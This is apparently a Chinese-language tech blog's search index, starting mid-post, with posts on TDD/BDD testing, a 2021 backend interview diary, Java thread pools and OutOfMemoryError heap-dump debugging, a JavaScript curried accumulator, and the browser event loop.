transformToArray = function () { let temp = [] for (const i of arguments) { temp.push(arguments[i]) } return temp} 登愣,我們執行結果正確了 但是總覺得程式好像沒有寫得很漂亮於是改成 1234567// Version 3 的程式const transformToArray = function () { return Object.keys(arguments).map((key) => { return arguments[key] })} 在我們剛剛列出 test case 然後修正程式去符合新的 test case這整個開發流程,就屬於 TDD 的方式 列出 test case 開發程式 Passed or Failed Refactor 不過我個人是喜歡 BDD 的開發方式,兩個的主要差別我列在下面 Test-driven Development 的方式,是以測試為主,列出各種 test case 讓程式可以正確執行 Behavior-driven Development 的方式跟 TDD 很相似,但是他會以規格為主(有點像訂出 User Story 的感覺) BDD 比較符合我們現時開發上的流程,客戶需求進來變成一個 User Story,根據 User Story 寫出 Test Case接下來就是開發程式,讓程式可以通過這個 Test Case 那關於測試 API 和 Uesr Story 的方式大體上跟 Unit Test 很相似,差在 Test Case 的寫法不太一樣而已 對 API Test 來說,可能是 3 ~ 4 Unit 合成的一個 API例如 API 是『登入』,對登入來說 Input 是帳號密碼,Output 是有無驗證成功帳號密碼的驗證可能牽扯到 3 ~ 4 Unit,但是這已經在 Unit Test 那邊完成了所以對於 API Test 來說,可能會列出以下幾種 Test Case 輸入正確帳號密碼,成功登入 輸入錯誤帳號密碼,無法登入 輸入正確帳號錯誤密碼,無法登入 輸入錯誤帳號正確密碼,無法登入 對 User Story 來說,可能是 3 ~ 4 個 API 合成的一個功能假如使用情形是,使用者登入了賣書網站搜尋了他想要的書本,根據搜尋會顯示或是找不到書本給使用者看那對於 User Story Test 來說,可能會列出以下幾種 Test Case First Test Case 輸入正確帳號密碼,成功登入後 在搜尋欄位輸入『nodejs』 然後顯示 nodejs 書籍 Second Test Case 輸入正確帳號密碼,成功登入後 在搜尋欄位輸入『找不到』,然後顯示搜尋結果為 0 筆的頁面 結語我認為用什麼樣的開發流程去測試程式都可以BDD TDD ATDD 等等,都是很好的開發流程對於不同團隊都會有各個團隊習慣的方式但最重要的是,要有『測試』這件事情出現在專案的開發流程上就足以","link":"/2017/11/01/how-to-test/"},{"title":"2021 年後端工程師面試心得","text":"背景介紹全職工作經驗大約 4 年, 之前的工作內容包含前後端以及 AWS 系統架構設計等等技能樹: Node.js, Vue.js, JavaScript, Java, AWS, Security 對資訊安全有一些涉獵包含打過幾場 CTF, 再加上之前有去 HITCON 分享在 HITCON ZeroDay 找到的漏洞就是大概了解這個領域, 沒有說很強 XD LeetCode 大概寫個 90 題附近就去找了基本上我的策略就是摸清 LeetCode 的概念題例如說以 DP 的題目來說, 差別差在存的東西和運用的邏輯不太一樣, 但概念上是一樣的不過這次面試沒遇到太難的 LeetCode 題目,算是蠻幸運的 投遞大綱職位都是資深後端工程師, 只有 Pickupp 比較特別是全端工程師除了 Linker Network 是疫情前(三月)在辦公室面試之外, 其他都是遠端面試 Linker Network - 經朋友介紹, offer get Knowtions Research - COO Linkedin 私訊問是否要面試, offer get Pickupp - hunter 投遞, offer get Dcard - hunter 投遞, 感謝信 AmazingTalker - hunter 投遞, offer get 趨勢 - 個人投遞, 感謝信 Glasnostic - hunter 投遞, 作業關後被拒 OneDegree - 個人投遞, 因決定 offer 所以拒絕 online coding test 那因為 Dcard 沒進面試, 所以就沒寫太詳細了 Linker Network這間面試都是同一天面試, 並沒有分成好幾天所以不用擔心這麼多關會拆成很多天, 一次到底的感覺其實還不錯 第一關 - engineer主要是考 node.js event loop 和 js 原型鏈 和 hoisting 等等概念以及 leetcode easy 三題選一題 two sum (相減版) binary search link list merged 難度個人覺得偏易, 對 js 和 nodejs 原理有了解的話很快就可以答出來整份大概寫了 10 分鐘左右這裡覺得不錯地方是, 不是用手寫, 而是用 Notion 共筆打字 第二關 - backend lead + engineer主要是針對工作經驗和個人自身詢問那因為之前做過架構和程式開發, 他們就針對做過的部分去回答就看他好奇哪部分就講給他聽, 像是還有問一些行爲問題 做過有挑戰性的專案 下一份工作期望和想做什麼 離職原因 第三關 - backend lead + engineers主要針對他們公司介和和產品的說明, 以及其他行為問題所以也會知道他們內部實際是做什麼, 有哪些組別等等問題, 行為問題有像是 有沒有無法忍受的事情,忍無可忍那種 職涯規劃 那因為個人對他們做的東西有點興趣, 所以這階段問了蠻多問題導致後面時間拖得有點長 XD 第四關 - backend lead這關原本應該是 CTO 來面試但 CTO 還在開會, 所以 backend lead 就代替他先繼續問一些行為問題 如何跟前端合作 有當過 mentor 嗎? 你的方式是什麼 問題分類, 看起來是著重在團隊合作的部分 第五關 - CTOCTO 開完會就過來了, 個人感覺偏向閒聊那因為履歷上面我有寫 stackoverflow 回答問題才發現 CTO 其實也有在上面回答問題, 就有針對這個經歷稍微聊一下 第六關 - CEO這關偏向閒聊大概就是 CEO 會跟你講公司的願景和他以前做過的事情, 以及未來想做的事情 第七關 - HR這關是談 offer 的部分那因為個人關係加上這間比後面都早兩三個月面, 所以實際能到職時間是三個月後所以這邊他就是保留我的 offer 但沒給我數字, 而是時間快到了再跟他們說因為他們也知道我一定會去面試其他家公司 XD 結果: Offer Get Knowtions Research前兩關都是英文, 最後一關主要是中文這間面試時間蠻彈性的, 早上晚上都可以也是因為這個外商時間剛好跟台灣差 12 小時所以面試時間都是在台灣的 19: 00 ~ 22:00 這之間 總計三關, 都是不同時間面試 第一關 - co-founder技術題目 event loop 是什麼 v8 是什麼 DB index type fork spawn 差異 mysql index order 行為問題 問覺得好的 manager 和壞的 manager 差別 如果你在開發的時候, manager 跟你來說規格要修改你要怎麼做 最後來有一個 Coding Test, 比較像是 co-work 的感覺題目難度大概在 leetcode easy 第二關 - CTO談論組織架構如何運行以及介紹他們的公司比較特別的是他也有問到『好的 manager 和壞的 manager 差別』這關大多都比較像是在聊工作經歷, 沒什麼太深的技術問題 第三關 - COO有問到能否接受快速變化, 以及介紹產品實際上在做什麼以及談論薪水, 這關也比較像是在聊天 結果: Offer Get 這邊稍微補充一些額外的東西雖然看起來是新創, 但在職位上定義還蠻清楚的當時 COO 就邊解釋邊開他們的 Confluence 給我看 XD就看到他們工程師有分 6 個 level, 看起來是公開的, 也有去定義每一個 level 是做什麼 再來因為是新創, 所以也有 Options 可以拿在講 Options 時, 他們內部有一份特地的 ppt 告訴你詳細細節包含如果公司上市你拿多少, 公司被買走你可以拿多少, 外面投資人對公司估值是多少當下就都有分享給我, 面對一個還沒進去的人甚至還沒答應 Offer 的人願意提供那麼多資訊, 是很有好感的 不過因為他們公司總部在多倫多晚上會需要跟他們開會, 但他有說下午你就可以去做其他事情變成要開會那天的時間安排, 就會更彈性 Pickupp這間是港商, 但面試都是全英文面試總計四關, 每關都是不同天去面試的 第一關 - CPO自我介紹和針對人生和工作經歷去問問題 第二關 - 作業主要是四個小題目, leetcode 等級的話大概在 easy這裡不會有時間限制, 寫完之後, 跟他們說寫完了整個過程都是線上, 所以他們也會同時看到你在寫他們就會 review 一下, 請你改成他們建議的方式你改完他們有空就會再繼續看, 直到都沒有問題這整個過程取決於雙方有空的時間, 長的話可能會來回 1~2 天 第三關 - CPO & Engineer來面試除了原本 CPO 還有另一位工程師主要針對工作經歷的內容問, 也問得非常詳細接著有提問一些問題, 我記憶力不太好只想到這幾個 XD FP v.s OOP 列出 data structure 當資料量太多要處理的時候, 要怎麼配合開多台伺服器去處理 第四關 - Live Coding人員一樣是前面兩位題目主要是他們產品的一些商業邏輯像是前 10km 固定收費 5 USD, 接下來 20 km 收費模式變成 3 USD/km然後去計算多少 km 應該收多少錢的問題一開始我不是用 FP 的方式去寫後來他們希望用 FP 寫, 所以就慢慢改成 FP不過他們並不是堅持一定要 FP, 而是剛好這題型很適合用 FP 去寫後來問過他們是不是偏好 FP, 但他們是看情況決定怎麼去使用的 結果: Offer Get AmazingTalker雖然在 ptt 面試心得中有些爭議, 但感覺是有心想改善且對技術好像有一定的把關, 就試試看 面試流程總計四關那因為時間剛好有對到, 所以二三關是一起面試但第四關就是額外約時間面試 第一關 - 作業回家作業關, 總計有 8 小時可以寫內容大致上為實作兩支 API 、快取機制、Unit Test 和 Concurrent 問題 有直接提供 MySQL的 Table Schema 讓你可以去建立我是用 express + mysql + redis 去寫出這個專案那為了讓作業可以順利起起來, 最後有預留一個小時弄 docker-composer 第二關 - Tech Lead如果作業審查通過的話, 就會進入到此關此關內容主要圍繞在第一關作業的內容和工作經歷, 作業問題會問以下幾個問題 你這樣設計的理由是? 你拿到這個專案是怎麼下手? 過程中會開螢幕分享, 直接互相對話, 說明哪邊可能需要改以及解釋你這樣設計的理由 第三關 - HR主要就是看公司文化和特質有沒有符合, 所以會問很多問題HR 也會解釋公司一些特別的文化在解釋的同時, 他們也會問你對於這件事情的看法是什麼?也會問你對未來的規劃是什麼, 為何想當工程師等等行為問題面試下來覺得互動感覺非常好 第四關 - HR Manager類型跟第三關很像那時候我有直接問他為什麼還有這關我記得是說希望藉由多一個人面試, 去增加對於這個候選人不同角度的看法這邊也有聊到未來退休想做什麼, 有沒有什麼樣的規劃 結果: Offer Get, 實際體驗比想像中好很多 XD 趨勢主要有兩個組別面試, 分別是 WRS 和 Group1, 總計四關除了第一關是寫程式之外剩下的每一關都是額外約時間面試, 也就是說分了三天去面試 第一關 - Online Coding Test主要是寫 leetcode 題目, 平台是用 codility題目共四題, 難度我覺得是 easy 2 + medium 2 第二關 - WRS & Group1主要是先 WRS 先面試, 再來是 Group1 WRS 因為我熟悉的語言是 js, 所以就會問一些關於 js 的東西像是 promise 有什麼好處之類的那因為我也有寫過 java, 所以他們也有問有沒有處理過 multi-thread 問題再來就是 thread v.s process 問題但在後續個人經歷分享上我分享比較多在 infra 上面, 但我面的職缺是後端, 所以就沒第三面了 Group1 此組是趨勢大刀改革下的其中一個組別裡面專案都是用 GoLang大致上問題都是圍繞在行為問題, 沒有太多技術問題以及解釋他們內部產品運作流程 第三關 - Group1Group1 後來收到 Group1 第三面跟第二面其實挺像的但細節部分就講比較多, 像是產品運作流程中, PM 是提出問題的, 由 RD 去想解法然後他們是 run Scrum, 除了 Scrum 固定會有的幾個會議之外, 他們還有 Group Design 的環節再來就是所有後端工程師都會輪流接一些從客服來的技術問題 (不是第一線接問題的人)當時面試是說每一次 sprint 會有兩個人輪流 第四關 - HR這裡不知道為啥我的人資轉到變成 Alice 了主要也是行為問題, 有沒有跟同事起過爭執啊等等問題最後就在我開了一個薪資範圍結束面試不過在這關面試過程中, 只有我開著視訊鏡頭在面試感覺蠻奇特的 XD 結果: 面試完隔幾天後主動寄信, 獲得感謝信 glasnostic第一關 - 作業如果書面審查過的話, 會收到一個作業作業詳細內容不能說, 但主要是需要用 Go 寫一個 CLI Tool但如果沒寫過 Go 沒關係, 他們開放讓候選人回去複習再回來寫 結果: 第一關沒過, 後來有請 hunter 去追問有得到原因 OneDegree第一關 - Online Coding Test因決定 offer 所以拒絕 online coding test 但我覺得他們 HR 還不錯投遞履歷後一個禮拜左右, HR 就有打電話來跟我安排面試而且把每一個階段要做的事情都講得很詳細 後記時隔四年後的面試還是有點緊張不過以後還是會固定把面試的一些題目每隔半年到一年拿出來反思有些問題很適合一直思考, 透過不斷地深入去問也會對自己的人生走向越來越明確 至於有哪些題目, 其實網路上都找到的 期待下一份工作帶給你什麼? 想要什麼樣的工作環境? 3 ~ 5 年後想做什麼? 退休想做什麼? 想像中團隊互動應該是要什麼樣子? 成就感來源是什麼? 離開上一份工作原因? 有跟同事或主管意見不合過嗎? 如何解決? 等等 … 很多很多很多 XD 這些問題其實在平常互動都會出現, 只是我們可能不習慣故意去思考而已假設已經身處在一個團隊之中, 感受到團隊合作不順暢也不願成長如果只是一直習慣性擺爛不思考, 不去思考如何變順暢, 覺得都是別人的錯的話, 就變成抱怨了抱怨是不會解決問題, 但偶爾的抱怨宣洩還是要的, 但只會抱怨就是把人生主控權交給別人了這樣的話對於『想像中團隊互動應該是要什麼樣子?』這問題可能就永遠都答不好 透過不斷去思考如何去改善可以慢慢找到自己實際上在意的點是什麼有些人覺得要有 mentor 才可以幫助團隊互相合作和成長有些人覺得制定嚴謹的工作流程才有幫助但這些都是以不同面向得到的結果 想要 mentor 的人-> 可能是習慣性有問題都會找別人求助找速解, 而不是靠自己思考得到自己的解答想要嚴謹的工作流程的人-> 可能是不喜歡掌控不住的感覺, 也許這樣就不適合新創公司 而這些思考都不應該只有第一層次, 它是可以不斷思考下去以上面的 mentor 例子來說-> 那為何不喜歡靠自己思考找到解答? 怕浪費時間?-> 為何怕浪費時間?大概是以這樣的感覺可以一直深入問下去, 問久了對自己了解和在意的點就越深了當然這種方式可以應用在任何地方, 上面只是一種很隨意的舉例 以上廢話有點長, 謝謝看到這邊 XD","link":"/2021/07/19/interview/"},{"title":"Java Executor、TheadPoolExecutor 設定參數基本介紹","text":"前言Thread Pool 的概念和使用 Database 的 Connection Pool 是很類似的概念就像 Connection Pool 的使用方法是去 Pool 裡面取得一個 Connection 使用使用完之後就關閉此 Connection,並把這個 Connection 丟回 Pool 之中讓其他程式使用 Thread Pool 也是這種概念,但在 JDK 1.5 之前的版本中是沒有一個管控的方式幾乎都是用 new Thread 的方式去創建使用在 JDK 1.5 之後的版本則是出了 Exectuor 去管控 Thread Pool ThreadPoolExecutor 介紹Java 提供了 ThreadPoolExecutor 能讓我們客製化定義不同的使用模式以下為 ThreadPoolExecutor 的設定即使用方法以及取用 Queue Size 以及 Thread Name 的方式 1234567891011121314151617ThreadPoolExecutor executor = new ThreadPoolExecutor( int corePoolSize, int maxPoolSize, long keepAliveTime, TimeUnit unit, BlockingQueue<Runnable> workQueue, RejectedExecutionHandler handler);System.out.println(\"Queue size is: \" + executor.getQueue().size());executor.execute(new Runnable() { public void run() { System.out.println(\"running\"); System.out.println(\"Thread Name: \" + Thread.currentThread().getName()) }}) corePoolSize 核心 Thread 的數量,基本上 Thread 數量不會低於此數字 maxPoolSize Thread Pool 的最大數量,如果所有 Thread 都被執行的話 Task 會被塞到 Queue 之中等到有空閒的 Thread 為止 決定 maxPoolSize 的數量最好是根據系統資源去計算出來 Runtime.getRuntime().availableProcessors(); keeyAliveTime 當閒置時間超過此設定的時間的話,系統會開始回收 corePoolSize 以上多餘的 Thread unit keepAliveTime 的時間單位,可以使用 TimeUnit.SECONDS workQueue 決定當所有 Thread 都被執行時,Task 在 Queue 之中會以何種形式等待 handler Queue 已滿且 Thread 已達到 maxPoolSize 之後會以什麼樣的方式處理新的 Task BlockingQueue 詳細介紹基本規則為 如果當前的 Thread 小於 corePoolSize,則 Executor 首先會新增 Thread,而不會把 Task 丟到 Queue 之中 (基本上就是直接運行的意思) 如果當前的 Thread 大於等於 corePoolSize,則 Executor 首先會把 Task 加到 Queue 之中等待 當 Task 無法再被加入到 Queue 之中的話,則 Executor 首先會創建新的 Thread,直到超過 maxPoolSize 為止 超過 maxPoolSize 時,任務會被拒絕 BlockingQueue 有三種類型 直接提交代表類型: synchronousQueue基本上就 Queue Size 就是 0會直接把 Task 提交給 Thread,如果不存在可用 Thread,則新建一個如果此類型有設置 maxPoolSize 的話,是有可會拒絕新的 Task所以通常使這種類型,會建議 maxPoolSize 不要做上限設定 無界隊列 (Unbounded Queue)代表類型: LinkedBlockingQueueQueue 的大小是無限制的特別注意的是因為大小是無限制,所以萬一 Task 執行時間過長會導致有大量個 Task 卡在 Queue 之中動彈不得,進而導致 OOM 的發生Executors.newFixedThreadPool 採用的就是此種類型的 Queue 有界隊列 (Bounded Queue)代表類型: ArrayBlockingQueueQueue 的大小是有限制的但要注意的點是,這個 Queue 大小必須和 Thread Pool 相互搭配才可以發揮出比較好的效能使用大的 Queue Size 和小的 Thread Pool Size雖然可以有效降低 CPU 使用率,但會降低 QPS而使用小的 Queue Size 和大的 Thread Pool Size雖然可以提昇 QPS,但會降低 CPU Queue 飽和 RejectExecutionHandle 介紹再來要介紹當 Queue 飽和之後,可以根據不同 handle 做出不一樣的行為以下總計有四種使用方式 終止策略 (AbortPolicy)此為預設 Policy使用該 Policy,飽和時會拋出 RejectedExecutionException調用者可以用以下自行定義方式處理異常 12345678executor.setRejectedExecutionHandler(new RejectedExecutionHandler() { @Override public void rejectedExecution(Runnable r, ThreadPoolExecutor executor) { System.out.println(\"Get you!\"); r.run(); System.out.println(\"Done in handler\"); }}); 拋棄策略 (DiscardPolicy)不做任何處理直接拋棄 拋棄舊任務策略 (DiscardOldestPolicy)把 Queue 之中最頭的元素拋棄,並在嘗試重新提交 Task 調用者運行策略 (CallerRunsPolicy)簡單來說,飽和後會直接由調用 Thread Pool 的主 Thread 自己來執行這個 Task但在這個期間,主 Thread 就無法再度提交 Task從而讓 Thread Pool 有時間把正在處理的 Task 給完成 創建 Thread Pool 的四個常用方法這四個常用的方法都是透過 ThreadPoolExecutor 的不同參數所實作而成的 public static ExecutorService newFixedThreadPool(int nThreads) 創建固定數量的 Thead,提交 Task 的時候如果未達 nThreads 的數量的話,則會一直新建 Thread 達到 nThreads 時,之後的 Task 則會進入到佇列中 12345public static ExecutorService newFixedThreadPool(int nThreads) { return new ThreadPoolExecutor(nThreads, nThreads, 0L, TimeUnit.MILLISECONDS, new LinkedBlockingQueue<Runnable>());} public static ExecutorService newCachedThreadPool() Thread 的數量預設上限為 2^31 - 1,如果當 Thread 大於 Tasks 數量的時候 就會開始去回收那些等了超過 60 秒還沒有 Task 進來的 Thread 問題是,這個 newCachedThreadPool 是屬於動態新建所以萬一 Task 一直大於 Thread 數量的話則會一直新建 這樣很容易耗光機器資源,使用這個最好的狀況是 Task 的執行時間是短的才比較適合 12345public static ExecutorService newCachedThreadPool() { return new ThreadPoolExecutor(0, Integer.MAX_VALUE, 60L, TimeUnit.SECONDS, new SynchronousQueue<Runnable>());} public static ExecutorService newSingleThreadExecutor() 創建一個 Single Thread,因為此 Thread 被使用的話其他都會是在佇列中等待,所以效能會下降 1234public static ScheduledExecutorService newSingleThreadScheduledExecutor() { return new DelegatedScheduledExecutorService (new ScheduledThreadPoolExecutor(1));} public static ScheduledExecutorService newScheduledThreadPool(int corePoolSize) 支持定時以及週期性執行 Task 的需求 123public static ScheduledExecutorService newScheduledThreadPool(int corePoolSize) { return new ScheduledThreadPoolExecutor(corePoolSize);} 看看 Parent Class 1234public ScheduledThreadPoolExecutor(int corePoolSize) { super(corePoolSize, Integer.MAX_VALUE, 0, NANOSECONDS, new DelayedWorkQueue());} 但是基本上不是很推薦使用以上這四種方法去定義 Thread Pool在阿里巴巴的 Java 開發手冊中也有提到,如果要新建 Thread請透過 ThreadPoolExecutor 的方式去自定義 Thread Pool 的使用模式在這篇文章的樓主也是因為用了以上其中一個方法採到 OOM 的雷所以在設定 Thread Pool 的時候要特別注意使用的情況適不適合! References Java Executor并发框架 一次Java线程池误用引发的血案和总结 如何使用ThreadPool 并发新特性—Executor 框架与线程池 Java ThreadPoolExecutor and BlockingQueue Example","link":"/2019/02/19/java-executor/"},{"title":"java.lang.OutOfMemoryError Java heap space? 怎麼解?","text":"前言因為工作關係,其實不只會碰到 node.js有時候還會協助其他專案,而有的專案就是用 java 寫的很久之前在伺服器噴出一個 OutOfMemoryError: Java heap space 的錯誤就開始尋錯之旅了 … 但這裡不會真實把工作上的專案的 bug 記錄在這裡 XD只會以簡單的程式去表達當時除錯的流程基本上發摟這方法,應該能夠鎖定問題點不行的話 … 您看看就好 XD 還原案發現場先上一段程式來模擬可以噴出 OutOfMemoryError此程式是無限迴圈地往 Map 裡面塞東西12345678910111213141516import java.util.HashMap;import java.util.Map;import java.util.Random;public class Test { public static void main(String args[]) throws Exception { Map<Integer, String> map = new HashMap<Integer, String>(); Random r = new Random(); while (true) { map.put(r.nextInt(), \"value\"); } }} 透過 javac Test.java 編譯成功後再透過 java -Xmx12m Test 去執行指令這裡的 -Xmx12m 是一個關鍵,這裡指定了這個 java 程式能使用的 heap memory 的上限為 12M此時執行完指令的時候會噴出以下錯誤12345Exception in thread "main" java.lang.OutOfMemoryError: Java heap space at java.util.HashMap.resize(HashMap.java:703) at java.util.HashMap.putVal(HashMap.java:662) at java.util.HashMap.put(HashMap.java:611) at Test.main(Test.java:13) 這樣可以看到噴出此錯誤訊息這代表說假設你電腦本身記憶體空間 8G但你分配給 java 應用程式的記憶體只有 12 MB 的時候它不會跨過這個 12 MB 限制,即使電腦還有將近 8G 的記憶體空間,它是不會超過 12 MB總歸一句話,使用的記憶體超出了我們設定給他的限制會導致 OOM (Out of Memory) 這裡可以注意到叫做『Heap Space』也就是程式運行時 JVM 可調配讓程式使用的記憶體空間Class 實例化的 Instance 也是被放在這個區域除了 Heap 之外,還有 PermGen 的設定PermGen 指的是 Memory 永久保存區是存放 Class, Meta Info 的地方如果太小可能就會在 pre compile 的階段把 PermGen 弄爆 解決方法通常記憶體不夠,就是給他開大加下去!但萬一你的程式剛好是無窮迴圈地往某一個地方塞東西這樣加大記憶體就沒有任何意義了因為這屬於程式上的 Bug,要解決的不是記憶體而是寫出這程式的人解決程式邏輯的 Bug 才對 但如果是本身記憶體真的不夠用那就是加上記憶體試試看,如果加了好幾 XXG 上去依舊不能用就開始要分析出錯的原因了 至於要如何分析, 雖然 log 會噴出 Exception 的訊息但總不會一直蹲在 log 前面看 Exception 哪天噴出來就算 log 以雲端方式保存,Exception 能分析的程度還是有限 所以可以加上以下指令把當時噴出 OOM 的詳細狀況 dump 出來-XX:+HeapDumpOnOutOfMemoryError -XX:HeapDumpPath=/tmp會把在 OOM 的時候, 把整個 heap 等等當下執行詳細的狀況儲存變成一個檔案以上述的範例來說,使用的完整指令為java -Xmx12m -XX:+HeapDumpOnOutOfMemoryError -XX:HeapDumpPath=/tmp Test這樣出現 OOM 的時候,就會往 /tmp 底下放入一個副檔名為 .hprof 可分析檔案12345678910java -Xmx12m -XX:+HeapDumpOnOutOfMemoryError -XX:HeapDumpPath=/tmp Testjava.lang.OutOfMemoryError: Java heap spaceDumping heap to /tmp/java_pid57606.hprof ...Heap dump file created [19050199 bytes in 0.163 secs]Exception in thread "main" java.lang.OutOfMemoryError: Java heap space at java.util.HashMap.resize(HashMap.java:703) at java.util.HashMap.putVal(HashMap.java:662) at java.util.HashMap.put(HashMap.java:611) at Test.main(Test.java:13) 不過要注意的是當應用程式越龐大的時候,產生出來的 hprof 就會越大高達 GB 等級以上也是很常見的所以伺服器保留適當的空間就很重要 這時再透過 java 內建的一個分析程式 jvisualvm 去分析這個檔案就可以找到出現 OOM 的地方通常 jvisualvm 是位在 java home 裡面 bin 底下的位置,以 Mac 來說是在這個路徑底下/Library/Java/JavaVirtualMachines/jdk1.8.0_65.jdk/Contents/Home/bin/jvisualvmWidnwos 則是會在 C:\\Program Files\\Java\\jdk1.8.0_65 這前提是你沒有自行更改安裝的位置有更改安裝位置的話,那你自己應該就知道在哪了 XD 打開後長這樣,然後開啟剛剛 dump 出來的 hprof 檔案 在裡面會看到一個『Thead casuing OutOfMemoryError exception: main』 點選 main 後就可以看到錯誤的地方 點上面 class 可以獲得比較詳細的資訊,包含使用記憶體多少的量都能夠知道 以上是簡單介紹針對 OOM 除錯的一個心得和介紹 Tomcat 設定方法在 tomcat 預設的資料夾底下,進入到 bin 的資料夾linux 用戶新增一行程式新增一個 setenv.sh 的檔案export JAVA_OPTS="-Xmx12m -XX:+HeapDumpOnOutOfMemoryError -XX:HeapDumpPath=/tmp" windows 用戶則是新增一個 setenv.bat 的檔案JAVA_OPTS="-Xmx12m -XX:+HeapDumpOnOutOfMemoryError -XX:HeapDumpPath=/tmp" 後記實際上並沒有一個銀彈可以順利地解決 OOM 的方法必須找到是程式的邏輯 Bug 導致 OOM又或是本身程式就是需要比較大的記憶體又或是第三方的 Library 寫不好又或是流量太大開太多 Thread原因有很多種,只能透過分析的方式找到引起的主因否則,單純加大記憶體不會解決根本原因不然只持推遲爆炸的時間點而已 (汗… 不管哪種語言排除 OOM 的流程都是大同小異這邊就先記錄以 Java 的方式 (畢竟剛好工作上碰到","link":"/2020/02/24/java-oom/"},{"title":"javascript 無限累加器","text":"前言最近在 js 群組上面看到一個題目,覺得蠻有趣就順手記錄下來,題目如下1234sum(2)(3).sumOf() // 5sum(2, 3).sumOf() // 5sum(1, 2)(3).sumOf() // 6sum(1)(2)(3)(4)(5, 6, 7, 8)(9, 10).sumOf() // 55 其實這就是 curry 化的一種變形寫法 實作 - 基本 function先來說說 curry 是什麽樣的東西『透過部分參數呼叫一個 function,然後讓此 function 回傳 function 去處理剩餘的參數』以下先來個符合題目的範例12345678let sum = function(x) { return function(y) { return { sumOf: () => x + y } };};sum(2)(3).sumOf() // 5 這樣一個簡單的累加器就完成了,但這只也符合兩層如果要加到 5 層,程式碼就會長下面這樣這種 code 根本不是人看的,接下來就需要另一個概念『遞迴』12345678910111213let sum = function(x) { return function(y) { return function(z) { return function(a) { return function(a) { return { sumOf: () => a+b+x+y+z } }; }; }; };}; 實作 - 遞迴遞迴的概念就是重複呼叫 function 本身,然後達到某個條件在停止所以關鍵在於『需要讓他一直呼叫 function 直到呼叫 sumOf 才停止』依照這個概念下去設計,程式碼會如下12345678910let sum = function(x) { let all = x; let plus = (y) => { all += y; return plus; } plus.sumOf = () => {return all} return plus;};sum(1)(2)(4).sumOf() // 7 透過在裡面宣告一個新的 plus function並把最一開始傳進來的 x 放在 all 這個 closure 裡面去保存然後讓這個 plus function 一直回傳自己就可以達到無限累加的功能接下來最後透過賦予 plus 一個 object function在最後去呼叫 sumOf 就可以直接回傳總值了 實作 - 無限參數接下來要解決另一個問題就是無限參數的問題可以透過 args 把所有參數都帶進來1234function test(...args) { console.log(args);}test(1,2,3,4) // [1, 2, 3, 4] 接下來配合 reduce 去把整個 array 加起來這樣無限累加器就成功了12345678910let sum = function(...args) { let all = args.reduce((p,c)=>p+c,0); let plus = (...args) => { all += args.reduce((p,c)=>p+c,0); return plus; } plus.sumOf = () => {return all;} return plus;};sum(1,2,3)(2,3,4)(1,2).sumOf() // 18 另外其實這一段程式碼也可以再改寫因為這一段跟 sum 的第一行 args.reduce 都是一樣的東西1234let plus = (...args) => { all += args.reduce((p,c)=>p+c,0); return plus;} 這邊可以透過用 bind function如此一來,可以把加總的結果再丟到新的 function 去做加總1234567let sum = function (...args) { let all = args.reduce((p,c)=>p+c,0); let plus = sum.bind(null, all); plus.sumOf = () => {return all}; return plus;}sum(1)(2,3)(3,4,5).sumOf() // 18 後記雖然看到題目知道大概就是考 curry 和 clousre 的概念但還是會稍微卡一下 XD蠻有趣的題目就順手紀錄拉 ~","link":"/2020/02/10/javascript-accumulator/"},{"title":"Event Loop 運行機制解析 - 瀏覽器篇","text":"Event Loop (2021-03-14 Updated)關於 Event Loop 也寫了兩篇, 針對瀏覽器和 Node.js 版本透過以下兩篇可以更加清楚了解兩者之間的差異 Event Loop 運行機制解析 - 瀏覽器篇 (本篇)Event Loop 運行機制解析 - Node.js 篇 前言網路上有許多文章在討論瀏覽器內 event loop 的機制不少文章都有探討到所謂宏任務 (macrotask or task) 以及微任務 (microtask) 東西但我開始好奇這東西在瀏覽器內的規範是如何去寫這些東西以及定義這些名詞又或是名詞是不是真的跟網路文章說的一樣於是開始想深入了解,究竟在瀏覽器規範中,是怎麼是對 event loop 去說明的 如果要開始看規範的話,原本是想針對 ECMA 內的 JS 機制去閱讀但深入一看才發現,ECMA 內根本沒有針對 JS event loop 的機制去做說明經過一段時間查找後,才發現真正定義 event loop 執行順序以及方法的細節是被歸類在 HTML Living Standard 裡面 HTML Living Standard 基本上就是規範了瀏覽器內核心該如何實現的一套規則官網在此,在此規範裡面就有提到 event loop 的機制 Processing Model在 8.1.4.3 Processing Model 完整定義一個 event loop 包含了哪東西這邊擷取原文的部分內容 先以簡單的方式說明重點步驟 1 ~ 6 重點在於執行 task queue 內的 oldest task 7 執行 mircrotask checkpoint 如果 microtask queue 不為空的話,則會執行 microtask queue 裡面的 microtask 10 執行 rendering 但接下來就要開始問,什麼是 task ? 什麼是 microtask ? 什麼是 rendering ? tasktask 擁有自己的 task queue,不同於待會提到的 microtask queue但要注意的雖然叫做 task queue 但這裡的資料結構並不是 queue 而是 sets task 主要包含以下職責 The user interaction 主要是 event callback,像是滑鼠事件的 callback 是屬於此 task 的範疇 The DOM manipulation DOM Manipulation 像是 document.body.style = 'background:yellow'; 也是屬於此 task The networking 這就像 ajax 觸發時的 callback The history traversal 官網上面是提到 history.back() 這是屬於 task 這種類型 可參考 HTML Living Standard - Generic task sources在這份規範中,沒看到所謂的 macrotask可是會發現在掘金上面都會把此 task 稱為 macrotask 去解釋個人是覺得以規範裡面的名詞去說明比較適合,所以這邊都只會稱 task microtaskmicrotask 是會在每一輪 event loop 進行渲染之前會被觸發且只要在 microtask queue 裡面還有東西的話,就會一直執行下去直到整個 microtask queue 變成空的為止也就是說在 microtask 執行的時候,又觸發 queue 新的 microtask 的話這個新的 microtask 也是會在此輪 task 執行完之前執行,不會留到下一輪 task比較著名的 microtask 就是 Promise 以及 MutationObserver且此 microtask 擁有自己的 microtask queue,這裡的 queue 就是真的 queue 了詳細可以在讀讀以下這張圖 可參考 HTML Living Standard - microtask-queue renderingrendering 就是渲染透過 parse HTML 變成 DOM Tree 以及 parse CSS 變成 CSSOM Tree並且把 DOM Tree 跟 CSSOM 進行合成變成最後的 Render Tree並根據這個 Render Tree 去計算節點的位置去對整個畫面進行 Paint (繪製)這整個過程就是 rendering另外在修改 DOM 的狀況下,也會出現 Reflow (重排/回流) 或是 Repaint (重繪) 的現象整個概念流程如圖下,詳細可以參考 Render-tree Construction, Layout, and Paint 另外在規範上面有提到每一輪的 event loop task 結束後不一定會需要 rendering原因是為了要達到每秒 60 fps 的效果 (60 frams per second)每次瀏覽器繪出一個 frame 的間隔時間為 16.7 ms如果在 16.7ms 內進行兩次 DOM 操作的話,是有可能不會出現兩次渲染的另一個發生的原因是在畫面上如果沒有可見的影響的渲染的話,這次就是不必要的渲染 Event Loop 流程圖根據上面對 task 以及 microtask 的介紹以及 event 